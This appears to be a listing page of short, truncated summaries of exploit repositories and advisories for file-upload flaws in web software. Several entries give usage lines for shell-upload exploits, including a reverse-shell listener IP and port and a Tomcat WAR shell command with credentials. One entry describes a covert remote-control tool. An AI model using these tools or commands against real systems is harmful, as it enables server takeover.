SonLogger - Arbitrary File Upload

SonLogger before 6.4.1 is affected by Unauthenticated Arbitrary File Upload. An attacker can send a POST request to /Config/SaveUploadedHotspotLogoFile without any authentication or session header. There is no check for the file extension or content of the uploaded file. id: CVE-2021-27964 info:...

Studio-42 elFinder <2.1.60 - Arbitrary File Upload

Studio-42 elFinder 2.0.4 to 2.1.59 is vulnerable to unauthenticated file upload via connector.minimal.php which could allow a remote user to upload arbitrary files and execute PHP code. id: CVE-2021-43421 info: name: Studio-42 elFinder 2.1.60 - Arbitrary File Upload author: akincibor severity:...

CVE-2024-25292

RenderTune RCE CVE-2024-25292 취약점에 대한 개념 증명PoC입니다. RenderTune v1.1.4의 XSS교차 사이트 스크립팅 취약점으로 인해 공격자가 Upload Title 매개변수에 조작된 페이로드를 주입하여 임의의 웹 스크립트나 HTML을 실행할 수 있습니다. 이 저장소에는 취약한 애플리케이션 예제와 이에 대한 개념 증명PoC 익스플로잇이 포함되어 있습니다. PoC로는 프로세스를 자동화하는 Python 파일이 있습니다. 1. 취약점 개요: XSS를 통해 RCE를 가능하게 하는 취약점입니다. 제목에...

CVE-2021-40870

CVE-2021-40870 Aviatrix에서 위험한 유형의 파일을 제한 없이 업로드할 수 있어 인증된 사용자가 임의 코드를 실행할 수 있습니다 https://attackerkb.com/assessments/970a9fa9-223d-4d07-bafa-a338147934f3...

CVE-2025-27590

CVE-2025-27590 - PoC Exploit Command Injection via Multipart Form Upload 📌 Description This is a Proof-of-Concept PoC exploit for CVE-2025-27590 , a command injection vulnerability affecting web applications that process multipart file uploads without proper sanitization. The vulnerability allows...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Docker 데모 Mac 데모 NVD CVE-2020-13957 설명 NVD CVE-2020-13957 Apache Solr 6.6.06.6.6, 7.0.07.7.3, 8.0.08.6.2 버전은 인증/권한 부여 없이 API를 통해 업로드되는 ConfigSet에서 원격 코드 실행에 사용될 수 있는 일부 위험한 기능의 구성을 차단합니다. 이러한 기능을 방지하기 위한 검사는 UPLOAD/CREATE 액션을 조합하여 우회할 수 있습니다. Docker PoC 환경 설정 1...

covert-control

covert-control 파일을 Google Drive, OneDrive, Youtube 또는 Telegram에 업로드하여 시스템을 원격으로 제어합니다. Python을 사용하여 파일과 리스너를 생성합니다. 텍스트 파일, 이미지, 오디오 또는 비디오를 생성할 수 있으며, 명령은 평문 또는 AES로 암호화하여 포함할 수 있습니다. covert-googledrive.py - Google Drive의 공개 폴더에 파일을 업로드하여 시스템을 제어합니다. covert-onedrive.py - OneDrive의 공개 폴더에 파일을 업로드...

CVE-2019-8942

CVE-2019-8942 및 CVE-2019-8943: WordPress RCE author 권한 개요 CVE-2019-8942 는 LFI 오류와 File Upload 기능을 결합하여 author 권한으로 WordPress 웹 서버에 RCE를 수행하는 취약점입니다. 영향받는 WordPress 버전은 4.9.9 이전 및 5.x에서 5.0.1 이전까지이며, Post Meta의 wpattachedfile 값이 .jpg?file.php와 같은 임의의 문자열로 변경될 수 있어 원격 코드 실행이 가능합니다. author 권한을 가진 공격...

CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMSRCE Wonder CMS v.3.2.0 v.3.4.2의 XSSCross Site Scripting 취약점으로 인해 원격 공격자가 installModule 컴포넌트에 업로드된 조작된 스크립트를 통해 임의 코드를 실행할 수 있습니다. 교육 목적으로만 사용하세요 loginURL에 대한 정보, 관리자 접근 권한, 또는 관리자가 XSS 링크를 클릭하도록 유도할 수 있는 능력이 필요합니다. 1. 저장소를 클론합니다 git clone...

CVE-2021-40964

Tiny File Manager = 2.4.6 - Remote Code Execution Authenticated 🚨 About the Exploit This is a Bash-based authenticated Remote Code Execution RCE exploit for Tiny File Manager versions = 2.4.6, vulnerable under CVE-2021-40964. The script leverages: Weak upload validation and webroot disclosure, An...

fuxploider

fuxploider Fuxploider는 파일 업로드 양식의 취약점을 탐지하고 악용하는 과정을 자동화하는 오픈 소스 침투 테스트 도구입니다. 이 도구는 업로드가 허용된 파일 유형을 탐지할 수 있으며, 원하는 웹 서버에 웹 셸이나 악성 파일을 업로드하는 데 가장 효과적인 기술을 식별할 수 있습니다. 스크린샷 설치 Python 3.6 이상이 필요합니다. git clone https://github.com/almandin/fuxploider.git cd fuxploider pip3 install -r requirements.txt...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 리버스 셸 업로드 h3v0x가 작성한 익스플로잇을 기반으로 한 WpDiscuz 7.0.4용 익스플로잇입니다. 취약점을 악용하여 리버스 PHP 셸을 업로드합니다. 영감은 Blogger CTF에서 얻었습니다. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 사용 예시:...

warsend

WARSend Apache Tomcat Manager API WAR 쉘 업로드 사전 요구 사항 자격 증명 Tomcat Manager에 대한 Text API 액세스 $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/ Created By...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - 청크 업로드 초기화/마무리 순서를 통한 인증 없는 임의 파일 쓰기 CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — 청크 업로드를 통한 인증 없는 임의 파일 쓰기 개념 증명 익스플로잇 청크 업로드 초기화/마무리 순서 → 예측 가능한 경로 노출 → 원격 코드 실행 취약점 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2026-10818 영향을 받는 플러그인| WPForms Pro WordPress 영향을 받는 버전|...

PT-2026-107851

Name of the Vulnerable Software and Affected Versions Bricksforge versions prior to 3.1.8.10 Description An unauthenticated arbitrary file upload issue exists due to insufficient validation of the attacker-controlled URL field within the temporaryFileUploads parameter during form submission. An...

PT-2026-107808

The Super Forms – Drag & Drop Form Builder plugin for WordPress is vulnerable to Unrestricted File Type Upload in all versions up to, and including, 6.3.316 via the upload files function. This is due to missing file type validation in the upload files function, which reads and applies an...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 익스플로잇 OpenEMR --debug exploit.rb -h | --help Options: 루트 URL 기본 경로. HTTP 스킴, 포트 및 루트 폴더 포함 업로드할 셸의 파일명 관리자의 사용자명 관리자의 비밀번호 --debug 인수 표시 -h, --help 이 화면 표시 Examples: exploit.rb exploit http://example.org/openemr shell.php admin pass exploit.rb exploit...

CVE-2025-4190

CVE-2025-4190 — WordPress CSV Mass Importer ≤ 1.2 임의 파일 업로드 -purple 📌 설명 WordPress용 CSV Mass Importer 플러그인≤ 1.2에는 Admin+ 임의 파일 업로드 취약점이 있습니다. 업로드된 파일에 대한 검증이 적절하지 않아, 관리자와 같은 고권한 사용자가 서버에 임의 파일 을 업로드할 수 있습니다. 이는 예를 들어 멀티사이트 환경처럼 제한되어야 하는 경우에도 가능합니다. 이 취약점으로 공격자는 PHP 셸 또는 악성 파일을 업로드하여 서버에서 원격 코드...

CVE-2024-42640

CVE-2024-42640 인증되지 않은 원격 코드 실행 - Angular-Base64-Upload 라이브러리 CVE-2024-42640 Angular-base64-upload v0.1.21 이전 버전은 angular-base64-upload/demo/server.php 엔드포인트를 통해 인증되지 않은 원격 코드 실행에 취약합니다. 이 취약점을 악용하면 공격자가 임의의 파일 내용을 서버에 업로드할 수 있으며, 이후 angular-base64-upload/demo/uploads 엔드포인트를 통해 해당 파일에 접근할 수 있습니다...

Magento-ver.-2.4.6

익스플로잇 제목: FireBear Studio Improved Import & Export ver. 3.8.6 for Magento 2.4.6 - XSLT Server Side Injection 날짜: 2023-11-17 익스플로잇 작성자: tmrswrr 공급업체 홈페이지: FireBear Studio 소프트웨어 링크: FireBear Studio Improved Import & Export 버전: FireBear Improved Import & Export ver. 3.8.6 POC 1. 이 URL에 관리자 자격 증명으로...